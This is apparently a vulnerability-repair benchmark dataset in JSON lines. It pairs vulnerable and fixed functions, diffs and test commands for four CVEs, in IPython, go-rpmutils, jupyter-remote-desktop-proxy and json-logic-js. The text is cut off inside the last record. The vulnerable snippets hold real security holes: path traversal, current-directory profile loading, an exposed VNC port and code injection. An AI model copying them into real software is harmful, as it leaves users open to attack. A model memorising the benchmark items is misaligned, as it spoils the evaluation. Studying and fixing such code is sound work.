{"cve_id": "CVE-2022-21699", "cve_description": "IPython (Interactive Python) is a command shell for interactive computing in multiple programming languages, originally developed for the Python programming language. Affected versions are subject to an arbitrary code execution vulnerability achieved by not properly managing cross user temporary files. This vulnerability allows one user to run code as another on the same machine. All users are advised to upgrade.", "cwe_info": {"CWE-285": {"name": "Improper Authorization", "description": "The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-250": {"name": "Execution with Unnecessary Privileges", "description": "The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses."}, "CWE-269": {"name": "Improper Privilege Management", "description": "The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor."}}, "repo": "https://github.com/ipython/ipython", "patch_url": ["https://github.com/ipython/ipython/commit/46a51ed69cdf41b4333943d9ceeb945c4ede5668", "https://github.com/ipython/ipython/commit/5fa1e409d2dc126c456510c16ece18e08b524e5b", "https://github.com/ipython/ipython/commit/a06ca837273271b4acb82c29be97c0b6d12a30ea", "https://github.com/ipython/ipython/commit/67ca2b3aa9039438e6f80e3fccca556f26100b4d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_13_1", "commit": "50b3d1f", "file_path": "IPython/core/profiledir.py", "start_line": 184, "end_line": 209, "snippet": "    def find_profile_dir_by_name(cls, ipython_dir, name=u'default', config=None):\n        \"\"\"Find an existing profile dir by profile name, return its ProfileDir.\n\n        This searches through a sequence of paths for a profile dir.  If it\n        is not found, a :class:`ProfileDirError` exception will be raised.\n\n        The search path algorithm is:\n        1. ``os.getcwd()``\n        2. ``ipython_dir``\n\n        Parameters\n        ----------\n        ipython_dir : unicode or str\n            The IPython directory to use.\n        name : unicode or str\n            The name of the profile.  The name of the profile directory\n            will be \"profile_<profile>\".\n        \"\"\"\n        dirname = u'profile_' + name\n        paths = [os.getcwd(), ipython_dir]\n        for p in paths:\n            profile_dir = os.path.join(p, dirname)\n            if os.path.isdir(profile_dir):\n                return cls(location=profile_dir, config=config)\n        else:\n            raise ProfileDirError('Profile directory not found in paths: %s' % dirname)"}], "fix_func": [{"id": "fix_py_13_1", "commit": "46a51ed", "file_path": "IPython/core/profiledir.py", "start_line": 184, "end_line": 209, "snippet": "    def find_profile_dir_by_name(cls, ipython_dir, name=u'default', config=None):\n        \"\"\"Find an existing profile dir by profile name, return its ProfileDir.\n\n        This searches through a sequence of paths for a profile dir.  If it\n        is not found, a :class:`ProfileDirError` exception will be raised.\n\n        The search path algorithm is:\n        1. ``os.getcwd()`` # removed for security reason.\n        2. ``ipython_dir``\n\n        Parameters\n        ----------\n        ipython_dir : unicode or str\n            The IPython directory to use.\n        name : unicode or str\n            The name of the profile.  The name of the profile directory\n            will be \"profile_<profile>\".\n        \"\"\"\n        dirname = u'profile_' + name\n        paths = [ipython_dir]\n        for p in paths:\n            profile_dir = os.path.join(p, dirname)\n            if os.path.isdir(profile_dir):\n                return cls(location=profile_dir, config=config)\n        else:\n            raise ProfileDirError('Profile directory not found in paths: %s' % dirname)"}], "vul_patch": "--- a/IPython/core/profiledir.py\n+++ b/IPython/core/profiledir.py\n@@ -5,7 +5,7 @@\n         is not found, a :class:`ProfileDirError` exception will be raised.\n \n         The search path algorithm is:\n-        1. ``os.getcwd()``\n+        1. ``os.getcwd()`` # removed for security reason.\n         2. ``ipython_dir``\n \n         Parameters\n@@ -17,7 +17,7 @@\n             will be \"profile_<profile>\".\n         \"\"\"\n         dirname = u'profile_' + name\n-        paths = [os.getcwd(), ipython_dir]\n+        paths = [ipython_dir]\n         for p in paths:\n             profile_dir = os.path.join(p, dirname)\n             if os.path.isdir(profile_dir):\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21699:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/ipython\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-21699/bin/python -W ignore::UserWarning -m pytest IPython/tests/cve.py\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2022-21699:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/ipython\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2022-21699/bin/python -m pytest -v IPython/core/tests/test_profile.py IPython/core/tests/test_application.py"}
{"cve_id": "CVE-2020-7667", "cve_description": "In package github.com/sassoftware/go-rpmutils/cpio before version 0.1.0, the CPIO extraction functionality doesn't sanitize the paths of the archived files for leading and non-leading \"..\" which leads in file extraction outside of the current directory. Note: the fixing commit was applied to all affected versions which were re-released.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/sassoftware/go-rpmutils", "patch_url": ["https://github.com/sassoftware/go-rpmutils/commit/a64058cf21b8aada501bba923c9aab66fb6febf0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_211_1", "commit": "e314ffa", "file_path": "cpio/extract.go", "start_line": 42, "end_line": 149, "snippet": "func Extract(rs io.Reader, dest string) error {\n\tlinkMap := make(map[int][]string)\n\n\tstream := NewCpioStream(rs)\n\n\tfor {\n\t\tentry, err := stream.ReadNextEntry()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif entry.Header.filename == TRAILER {\n\t\t\tbreak\n\t\t}\n\n\t\ttarget := path.Join(dest, path.Clean(entry.Header.filename))\n\t\tparent := path.Dir(target)\n\n\t\t// Create the parent directory if it doesn't exist.\n\t\tif _, err := os.Stat(parent); os.IsNotExist(err) {\n\t\t\tif err := os.MkdirAll(parent, 0755); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\t// FIXME: Need a makedev implementation in go.\n\n\t\tswitch entry.Header.Mode() &^ 07777 {\n\t\tcase S_ISCHR:\n\t\t\tlogger.Debug(\"unpacking char device\")\n\t\t\t// FIXME: skipping due to lack of makedev.\n\t\t\tcontinue\n\t\tcase S_ISBLK:\n\t\t\tlogger.Debug(\"unpacking block device\")\n\t\t\t// FIXME: skipping due to lack of makedev.\n\t\t\tcontinue\n\t\tcase S_ISDIR:\n\t\t\tlogger.Debug(\"unpacking dir\")\n\t\t\tm := os.FileMode(entry.Header.Mode()).Perm()\n\t\t\tif err := os.Mkdir(target, m); err != nil && !os.IsExist(err) {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISFIFO:\n\t\t\tlogger.Debug(\"unpacking named pipe\")\n\t\t\tif err := fileutil.Mkfifo(target, uint32(entry.Header.Mode())); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISLNK:\n\t\t\tlogger.Debug(\"unpacking symlink\")\n\t\t\tbuf := make([]byte, entry.Header.c_filesize)\n\t\t\tif _, err := entry.payload.Read(buf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := os.Symlink(string(buf), target); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISREG:\n\t\t\tlogger.Debug(\"unpacking regular file\")\n\t\t\t// save hardlinks until after the taget is written\n\t\t\tif entry.Header.c_nlink > 1 && entry.Header.c_filesize == 0 {\n\t\t\t\tlogger.Debug(\"regular file is a hard link\")\n\t\t\t\tl, ok := linkMap[entry.Header.c_ino]\n\t\t\t\tif !ok {\n\t\t\t\t\tl = make([]string, 0)\n\t\t\t\t}\n\t\t\t\tl = append(l, target)\n\t\t\t\tlinkMap[entry.Header.c_ino] = l\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// FIXME: Set permissions on files when creating.\n\t\t\tf, err := os.Create(target)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\twritten, err := io.Copy(f, entry.payload)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif written != int64(entry.Header.c_filesize) {\n\t\t\t\tlogger.Debugf(\"written: %d, filesize: %d\", written, entry.Header.c_filesize)\n\t\t\t\treturn fmt.Errorf(\"short write\")\n\t\t\t}\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Create hardlinks after the file content is written.\n\t\t\tif entry.Header.c_nlink > 1 && entry.Header.c_filesize > 0 {\n\t\t\t\tl, ok := linkMap[entry.Header.c_ino]\n\t\t\t\tif !ok {\n\t\t\t\t\treturn fmt.Errorf(\"hardlinks missing\")\n\t\t\t\t}\n\n\t\t\t\tfor _, t := range l {\n\t\t\t\t\tif err := os.Link(target, t); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unknown file mode 0%o for %s\",\n\t\t\t\tentry.Header.c_mode, entry.Header.filename)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_211_1", "commit": "a64058cf21b8aada501bba923c9aab66fb6febf0", "file_path": "cpio/extract.go", "start_line": 45, "end_line": 158, "snippet": "func Extract(rs io.Reader, dest string) error {\n\tdest = filepath.Clean(filepath.FromSlash(dest))\n\tlinkMap := make(map[int][]string)\n\n\tstream := NewCpioStream(rs)\n\n\tfor {\n\t\tentry, err := stream.ReadNextEntry()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif entry.Header.filename == TRAILER {\n\t\t\tbreak\n\t\t}\n\n\t\t// sanitize path\n\t\ttarget := path.Clean(entry.Header.filename)\n\t\tfor strings.HasPrefix(target, \"../\") {\n\t\t\ttarget = target[3:]\n\t\t}\n\t\ttarget = filepath.Join(dest, filepath.FromSlash(target))\n\t\tif !strings.HasPrefix(target, dest+string(filepath.Separator)) && dest != target {\n\t\t\t// this shouldn't happen due to the sanitization above but always check\n\t\t\treturn fmt.Errorf(\"invalid cpio path %q\", entry.Header.filename)\n\t\t}\n\t\t// Create the parent directory if it doesn't exist.\n\t\tparent := filepath.Dir(target)\n\t\tif err := os.MkdirAll(parent, 0755); err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// FIXME: Need a makedev implementation in go.\n\n\t\tswitch entry.Header.Mode() &^ 07777 {\n\t\tcase S_ISCHR:\n\t\t\tlogger.Debug(\"unpacking char device\")\n\t\t\t// FIXME: skipping due to lack of makedev.\n\t\t\tcontinue\n\t\tcase S_ISBLK:\n\t\t\tlogger.Debug(\"unpacking block device\")\n\t\t\t// FIXME: skipping due to lack of makedev.\n\t\t\tcontinue\n\t\tcase S_ISDIR:\n\t\t\tlogger.Debug(\"unpacking dir\")\n\t\t\tm := os.FileMode(entry.Header.Mode()).Perm()\n\t\t\tif err := os.Mkdir(target, m); err != nil && !os.IsExist(err) {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISFIFO:\n\t\t\tlogger.Debug(\"unpacking named pipe\")\n\t\t\tif err := fileutil.Mkfifo(target, uint32(entry.Header.Mode())); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISLNK:\n\t\t\tlogger.Debug(\"unpacking symlink\")\n\t\t\tbuf := make([]byte, entry.Header.c_filesize)\n\t\t\tif _, err := entry.payload.Read(buf); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif err := os.Symlink(string(buf), target); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\tcase S_ISREG:\n\t\t\tlogger.Debug(\"unpacking regular file\")\n\t\t\t// save hardlinks until after the taget is written\n\t\t\tif entry.Header.c_nlink > 1 && entry.Header.c_filesize == 0 {\n\t\t\t\tlogger.Debug(\"regular file is a hard link\")\n\t\t\t\tl, ok := linkMap[entry.Header.c_ino]\n\t\t\t\tif !ok {\n\t\t\t\t\tl = make([]string, 0)\n\t\t\t\t}\n\t\t\t\tl = append(l, target)\n\t\t\t\tlinkMap[entry.Header.c_ino] = l\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\t// FIXME: Set permissions on files when creating.\n\t\t\tf, err := os.Create(target)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\twritten, err := io.Copy(f, entry.payload)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif written != int64(entry.Header.c_filesize) {\n\t\t\t\tlogger.Debugf(\"written: %d, filesize: %d\", written, entry.Header.c_filesize)\n\t\t\t\treturn fmt.Errorf(\"short write\")\n\t\t\t}\n\t\t\tif err := f.Close(); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\t// Create hardlinks after the file content is written.\n\t\t\tif entry.Header.c_nlink > 1 && entry.Header.c_filesize > 0 {\n\t\t\t\tl, ok := linkMap[entry.Header.c_ino]\n\t\t\t\tif !ok {\n\t\t\t\t\treturn fmt.Errorf(\"hardlinks missing\")\n\t\t\t\t}\n\n\t\t\t\tfor _, t := range l {\n\t\t\t\t\tif err := os.Link(target, t); err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\tdefault:\n\t\t\treturn fmt.Errorf(\"unknown file mode 0%o for %s\",\n\t\t\t\tentry.Header.c_mode, entry.Header.filename)\n\t\t}\n\t}\n\n\treturn nil\n}"}], "vul_patch": "--- a/cpio/extract.go\n+++ b/cpio/extract.go\n@@ -1,4 +1,5 @@\n func Extract(rs io.Reader, dest string) error {\n+\tdest = filepath.Clean(filepath.FromSlash(dest))\n \tlinkMap := make(map[int][]string)\n \n \tstream := NewCpioStream(rs)\n@@ -13,16 +14,21 @@\n \t\t\tbreak\n \t\t}\n \n-\t\ttarget := path.Join(dest, path.Clean(entry.Header.filename))\n-\t\tparent := path.Dir(target)\n-\n+\t\t// sanitize path\n+\t\ttarget := path.Clean(entry.Header.filename)\n+\t\tfor strings.HasPrefix(target, \"../\") {\n+\t\t\ttarget = target[3:]\n+\t\t}\n+\t\ttarget = filepath.Join(dest, filepath.FromSlash(target))\n+\t\tif !strings.HasPrefix(target, dest+string(filepath.Separator)) && dest != target {\n+\t\t\t// this shouldn't happen due to the sanitization above but always check\n+\t\t\treturn fmt.Errorf(\"invalid cpio path %q\", entry.Header.filename)\n+\t\t}\n \t\t// Create the parent directory if it doesn't exist.\n-\t\tif _, err := os.Stat(parent); os.IsNotExist(err) {\n-\t\t\tif err := os.MkdirAll(parent, 0755); err != nil {\n-\t\t\t\treturn err\n-\t\t\t}\n+\t\tparent := filepath.Dir(target)\n+\t\tif err := os.MkdirAll(parent, 0755); err != nil {\n+\t\t\treturn err\n \t\t}\n-\n \t\t// FIXME: Need a makedev implementation in go.\n \n \t\tswitch entry.Header.Mode() &^ 07777 {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-32428", "cve_description": "Jupyter Remote Desktop Proxy allows you to run a Linux Desktop on a JupyterHub. jupyter-remote-desktop-proxy was meant to rely on UNIX sockets readable only by the current user since version 3.0.0, but when used with TigerVNC, the VNC server started by jupyter-remote-desktop-proxy were still accessible via the network. This vulnerability does not affect users having TurboVNC as the vncserver executable. This issue is fixed in 3.0.1.", "cwe_info": {"CWE-668": {"name": "Exposure of Resource to Wrong Sphere", "description": "The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource."}}, "repo": "https://github.com/jupyterhub/jupyter-remote-desktop-proxy", "patch_url": ["https://github.com/jupyterhub/jupyter-remote-desktop-proxy/commit/7dd54c25a4253badd8ea68895437e5a66a59090d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_287_1", "commit": "5a46ef7", "file_path": "jupyter_remote_desktop_proxy/setup_websockify.py", "start_line": 8, "end_line": 46, "snippet": "def setup_websockify():\n    vncserver = which('vncserver')\n    if not vncserver:\n        raise RuntimeError(\n            \"vncserver executable not found, please install a VNC server\"\n        )\n\n    # {unix_socket} is expanded by jupyter-server-proxy\n    vnc_args = [vncserver, '-rfbunixpath', '{unix_socket}']\n\n    xstartup = os.getenv(\"JUPYTER_REMOTE_DESKTOP_PROXY_XSTARTUP\")\n    if not xstartup and not os.path.exists(os.path.expanduser('~/.vnc/xstartup')):\n        xstartup = os.path.join(HERE, 'share/xstartup')\n    if xstartup:\n        vnc_args.extend(['-xstartup', xstartup])\n\n    vnc_command = shlex.join(\n        vnc_args\n        + [\n            '-verbose',\n            '-fg',\n            '-geometry',\n            '1680x1050',\n            '-SecurityTypes',\n            'None',\n        ]\n    )\n\n    return {\n        'command': ['/bin/sh', '-c', f'cd {os.getcwd()} && {vnc_command}'],\n        'timeout': 30,\n        'new_browser_window': True,\n        # We want the launcher entry to point to /desktop/, not to /desktop-websockify/\n        # /desktop/ is the user facing URL, while /desktop-websockify/ now *only* serves\n        # websockets.\n        \"launcher_entry\": {\"title\": \"Desktop\", \"path_info\": \"desktop\"},\n        \"unix_socket\": True,\n        \"raw_socket_proxy\": True,\n    }"}], "fix_func": [{"id": "fix_py_287_1", "commit": "7dd54c25a4253badd8ea68895437e5a66a59090d", "file_path": "jupyter_remote_desktop_proxy/setup_websockify.py", "start_line": 8, "end_line": 65, "snippet": "def setup_websockify():\n    vncserver = which('vncserver')\n    if not vncserver:\n        raise RuntimeError(\n            \"vncserver executable not found, please install a VNC server\"\n        )\n\n    # TurboVNC and TigerVNC share the same origin and both use a Perl script\n    # as the executable vncserver. We can determine if vncserver is TigerVNC\n    # by searching tigervnc string in the Perl script.\n    #\n    # The content of the vncserver executable can differ depending on how\n    # TigerVNC and TurboVNC has been distributed. Below are files known to be\n    # read in some situations:\n    #\n    # - https://github.com/TigerVNC/tigervnc/blob/v1.13.1/unix/vncserver/vncserver.in\n    # - https://github.com/TurboVNC/turbovnc/blob/3.1.1/unix/vncserver.in\n    #\n    with open(vncserver) as vncserver_file:\n        vncserver_file_text = vncserver_file.read().casefold()\n    is_turbovnc = \"turbovnc\" in vncserver_file_text\n\n    # {unix_socket} is expanded by jupyter-server-proxy\n    vnc_args = [vncserver, '-rfbunixpath', \"{unix_socket}\", \"-rfbport\", \"-1\"]\n    if is_turbovnc:\n        # turbovnc doesn't handle being passed -rfbport -1, but turbovnc also\n        # defaults to not opening a TCP port which is what we want to ensure\n        vnc_args = [vncserver, '-rfbunixpath', \"{unix_socket}\"]\n\n    xstartup = os.getenv(\"JUPYTER_REMOTE_DESKTOP_PROXY_XSTARTUP\")\n    if not xstartup and not os.path.exists(os.path.expanduser('~/.vnc/xstartup')):\n        xstartup = os.path.join(HERE, 'share/xstartup')\n    if xstartup:\n        vnc_args.extend(['-xstartup', xstartup])\n\n    vnc_command = shlex.join(\n        vnc_args\n        + [\n            '-verbose',\n            '-fg',\n            '-geometry',\n            '1680x1050',\n            '-SecurityTypes',\n            'None',\n        ]\n    )\n\n    return {\n        'command': ['/bin/sh', '-c', f'cd {os.getcwd()} && {vnc_command}'],\n        'timeout': 30,\n        'new_browser_window': True,\n        # We want the launcher entry to point to /desktop/, not to /desktop-websockify/\n        # /desktop/ is the user facing URL, while /desktop-websockify/ now *only* serves\n        # websockets.\n        \"launcher_entry\": {\"title\": \"Desktop\", \"path_info\": \"desktop\"},\n        \"unix_socket\": True,\n        \"raw_socket_proxy\": True,\n    }"}], "vul_patch": "--- a/jupyter_remote_desktop_proxy/setup_websockify.py\n+++ b/jupyter_remote_desktop_proxy/setup_websockify.py\n@@ -5,8 +5,27 @@\n             \"vncserver executable not found, please install a VNC server\"\n         )\n \n+    # TurboVNC and TigerVNC share the same origin and both use a Perl script\n+    # as the executable vncserver. We can determine if vncserver is TigerVNC\n+    # by searching tigervnc string in the Perl script.\n+    #\n+    # The content of the vncserver executable can differ depending on how\n+    # TigerVNC and TurboVNC has been distributed. Below are files known to be\n+    # read in some situations:\n+    #\n+    # - https://github.com/TigerVNC/tigervnc/blob/v1.13.1/unix/vncserver/vncserver.in\n+    # - https://github.com/TurboVNC/turbovnc/blob/3.1.1/unix/vncserver.in\n+    #\n+    with open(vncserver) as vncserver_file:\n+        vncserver_file_text = vncserver_file.read().casefold()\n+    is_turbovnc = \"turbovnc\" in vncserver_file_text\n+\n     # {unix_socket} is expanded by jupyter-server-proxy\n-    vnc_args = [vncserver, '-rfbunixpath', '{unix_socket}']\n+    vnc_args = [vncserver, '-rfbunixpath', \"{unix_socket}\", \"-rfbport\", \"-1\"]\n+    if is_turbovnc:\n+        # turbovnc doesn't handle being passed -rfbport -1, but turbovnc also\n+        # defaults to not opening a TCP port which is what we want to ensure\n+        vnc_args = [vncserver, '-rfbunixpath', \"{unix_socket}\"]\n \n     xstartup = os.getenv(\"JUPYTER_REMOTE_DESKTOP_PROXY_XSTARTUP\")\n     if not xstartup and not os.path.exists(os.path.expanduser('~/.vnc/xstartup')):\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-4329", "cve_description": "A vulnerability, which was classified as critical, has been found in json-logic-js 2.0.0. Affected by this issue is some unknown functionality of the file logic.js. The manipulation leads to command injection. Upgrading to version 2.0.1 is able to address this issue. The patch is identified as c1dd82f5b15d8a553bb7a0cfa841ab8a11a9c227. It is recommended to upgrade the affected component. VDB-222266 is the identifier assigned to this vulnerability.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/jwadhams/json-logic-js", "patch_url": ["https://github.com/jwadhams/json-logic-js/commit/c1dd82f5b15d8a553bb7a0cfa841ab8a11a9c227"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_186_1", "commit": "17e9fed", "file_path": "logic.js", "start_line": 205, "end_line": 361, "snippet": "  jsonLogic.apply = function(logic, data) {\n    // Does this array contain logic? Only one way to find out.\n    if (Array.isArray(logic)) {\n      return logic.map(function(l) {\n        return jsonLogic.apply(l, data);\n      });\n    }\n    // You've recursed to a primitive, stop!\n    if ( ! jsonLogic.is_logic(logic) ) {\n      return logic;\n    }\n\n    var op = jsonLogic.get_operator(logic);\n    var values = logic[op];\n    var i;\n    var current;\n    var scopedLogic;\n    var scopedData;\n    var filtered;\n    var initial;\n\n    // easy syntax for unary operators, like {\"var\" : \"x\"} instead of strict {\"var\" : [\"x\"]}\n    if ( ! Array.isArray(values)) {\n      values = [values];\n    }\n\n    // 'if', 'and', and 'or' violate the normal rule of depth-first calculating consequents, let each manage recursion as needed.\n    if (op === \"if\" || op == \"?:\") {\n      /* 'if' should be called with a odd number of parameters, 3 or greater\n      This works on the pattern:\n      if( 0 ){ 1 }else{ 2 };\n      if( 0 ){ 1 }else if( 2 ){ 3 }else{ 4 };\n      if( 0 ){ 1 }else if( 2 ){ 3 }else if( 4 ){ 5 }else{ 6 };\n\n      The implementation is:\n      For pairs of values (0,1 then 2,3 then 4,5 etc)\n      If the first evaluates truthy, evaluate and return the second\n      If the first evaluates falsy, jump to the next pair (e.g, 0,1 to 2,3)\n      given one parameter, evaluate and return it. (it's an Else and all the If/ElseIf were false)\n      given 0 parameters, return NULL (not great practice, but there was no Else)\n      */\n      for (i = 0; i < values.length - 1; i += 2) {\n        if ( jsonLogic.truthy( jsonLogic.apply(values[i], data) ) ) {\n          return jsonLogic.apply(values[i+1], data);\n        }\n      }\n      if (values.length === i+1) {\n        return jsonLogic.apply(values[i], data);\n      }\n      return null;\n    } else if (op === \"and\") { // Return first falsy, or last\n      for (i=0; i < values.length; i+=1) {\n        current = jsonLogic.apply(values[i], data);\n        if ( ! jsonLogic.truthy(current)) {\n          return current;\n        }\n      }\n      return current; // Last\n    } else if (op === \"or\") {// Return first truthy, or last\n      for (i=0; i < values.length; i+=1) {\n        current = jsonLogic.apply(values[i], data);\n        if ( jsonLogic.truthy(current) ) {\n          return current;\n        }\n      }\n      return current; // Last\n    } else if (op === \"filter\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n\n      if ( ! Array.isArray(scopedData)) {\n        return [];\n      }\n      // Return only the elements from the array in the first argument,\n      // that return truthy when passed to the logic in the second argument.\n      // For parity with JavaScript, reindex the returned array\n      return scopedData.filter(function(datum) {\n        return jsonLogic.truthy( jsonLogic.apply(scopedLogic, datum));\n      });\n    } else if (op === \"map\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n\n      if ( ! Array.isArray(scopedData)) {\n        return [];\n      }\n\n      return scopedData.map(function(datum) {\n        return jsonLogic.apply(scopedLogic, datum);\n      });\n    } else if (op === \"reduce\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n      initial = typeof values[2] !== \"undefined\" ? values[2] : null;\n\n      if ( ! Array.isArray(scopedData)) {\n        return initial;\n      }\n\n      return scopedData.reduce(\n        function(accumulator, current) {\n          return jsonLogic.apply(\n            scopedLogic,\n            {current: current, accumulator: accumulator}\n          );\n        },\n        initial\n      );\n    } else if (op === \"all\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n      // All of an empty set is false. Note, some and none have correct fallback after the for loop\n      if ( ! scopedData.length) {\n        return false;\n      }\n      for (i=0; i < scopedData.length; i+=1) {\n        if ( ! jsonLogic.truthy( jsonLogic.apply(scopedLogic, scopedData[i]) )) {\n          return false; // First falsy, short circuit\n        }\n      }\n      return true; // All were truthy\n    } else if (op === \"none\") {\n      filtered = jsonLogic.apply({filter: values}, data);\n      return filtered.length === 0;\n    } else if (op === \"some\") {\n      filtered = jsonLogic.apply({filter: values}, data);\n      return filtered.length > 0;\n    }\n\n    // Everyone else gets immediate depth-first recursion\n    values = values.map(function(val) {\n      return jsonLogic.apply(val, data);\n    });\n\n\n    // The operation is called with \"data\" bound to its \"this\" and \"values\" passed as arguments.\n    // Structured commands like % or > can name formal arguments while flexible commands (like missing or merge) can operate on the pseudo-array arguments\n    // https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments\n    if (typeof operations[op] === \"function\") {\n      return operations[op].apply(data, values);\n    } else if (op.indexOf(\".\") > 0) { // Contains a dot, and not in the 0th position\n      var sub_ops = String(op).split(\".\");\n      var operation = operations;\n      for (i = 0; i < sub_ops.length; i++) {\n        // Descending into operations\n        operation = operation[sub_ops[i]];\n        if (operation === undefined) {\n          throw new Error(\"Unrecognized operation \" + op +\n            \" (failed at \" + sub_ops.slice(0, i+1).join(\".\") + \")\");\n        }\n      }\n\n      return operation.apply(data, values);\n    }\n\n    throw new Error(\"Unrecognized operation \" + op );\n  };"}], "fix_func": [{"id": "fix_js_186_1", "commit": "c1dd82f", "file_path": "logic.js", "start_line": 205, "end_line": 362, "snippet": "  jsonLogic.apply = function(logic, data) {\n    // Does this array contain logic? Only one way to find out.\n    if (Array.isArray(logic)) {\n      return logic.map(function(l) {\n        return jsonLogic.apply(l, data);\n      });\n    }\n    // You've recursed to a primitive, stop!\n    if ( ! jsonLogic.is_logic(logic) ) {\n      return logic;\n    }\n\n    var op = jsonLogic.get_operator(logic);\n    var values = logic[op];\n    var i;\n    var current;\n    var scopedLogic;\n    var scopedData;\n    var filtered;\n    var initial;\n\n    // easy syntax for unary operators, like {\"var\" : \"x\"} instead of strict {\"var\" : [\"x\"]}\n    if ( ! Array.isArray(values)) {\n      values = [values];\n    }\n\n    // 'if', 'and', and 'or' violate the normal rule of depth-first calculating consequents, let each manage recursion as needed.\n    if (op === \"if\" || op == \"?:\") {\n      /* 'if' should be called with a odd number of parameters, 3 or greater\n      This works on the pattern:\n      if( 0 ){ 1 }else{ 2 };\n      if( 0 ){ 1 }else if( 2 ){ 3 }else{ 4 };\n      if( 0 ){ 1 }else if( 2 ){ 3 }else if( 4 ){ 5 }else{ 6 };\n\n      The implementation is:\n      For pairs of values (0,1 then 2,3 then 4,5 etc)\n      If the first evaluates truthy, evaluate and return the second\n      If the first evaluates falsy, jump to the next pair (e.g, 0,1 to 2,3)\n      given one parameter, evaluate and return it. (it's an Else and all the If/ElseIf were false)\n      given 0 parameters, return NULL (not great practice, but there was no Else)\n      */\n      for (i = 0; i < values.length - 1; i += 2) {\n        if ( jsonLogic.truthy( jsonLogic.apply(values[i], data) ) ) {\n          return jsonLogic.apply(values[i+1], data);\n        }\n      }\n      if (values.length === i+1) {\n        return jsonLogic.apply(values[i], data);\n      }\n      return null;\n    } else if (op === \"and\") { // Return first falsy, or last\n      for (i=0; i < values.length; i+=1) {\n        current = jsonLogic.apply(values[i], data);\n        if ( ! jsonLogic.truthy(current)) {\n          return current;\n        }\n      }\n      return current; // Last\n    } else if (op === \"or\") {// Return first truthy, or last\n      for (i=0; i < values.length; i+=1) {\n        current = jsonLogic.apply(values[i], data);\n        if ( jsonLogic.truthy(current) ) {\n          return current;\n        }\n      }\n      return current; // Last\n    } else if (op === \"filter\") {\n      scopedData = jsonLogic.apply(values[0], data);\n      scopedLogic = values[1];\n\n      if ( ! Array.isArray(scopedData)) {\n        return [];\n      }\n      // Return only the elements from the array in the first argument,\n      // that return truthy when passed to the logic in the second argument.\n      // For parity with JavaScript, reindex the returned array\n      return 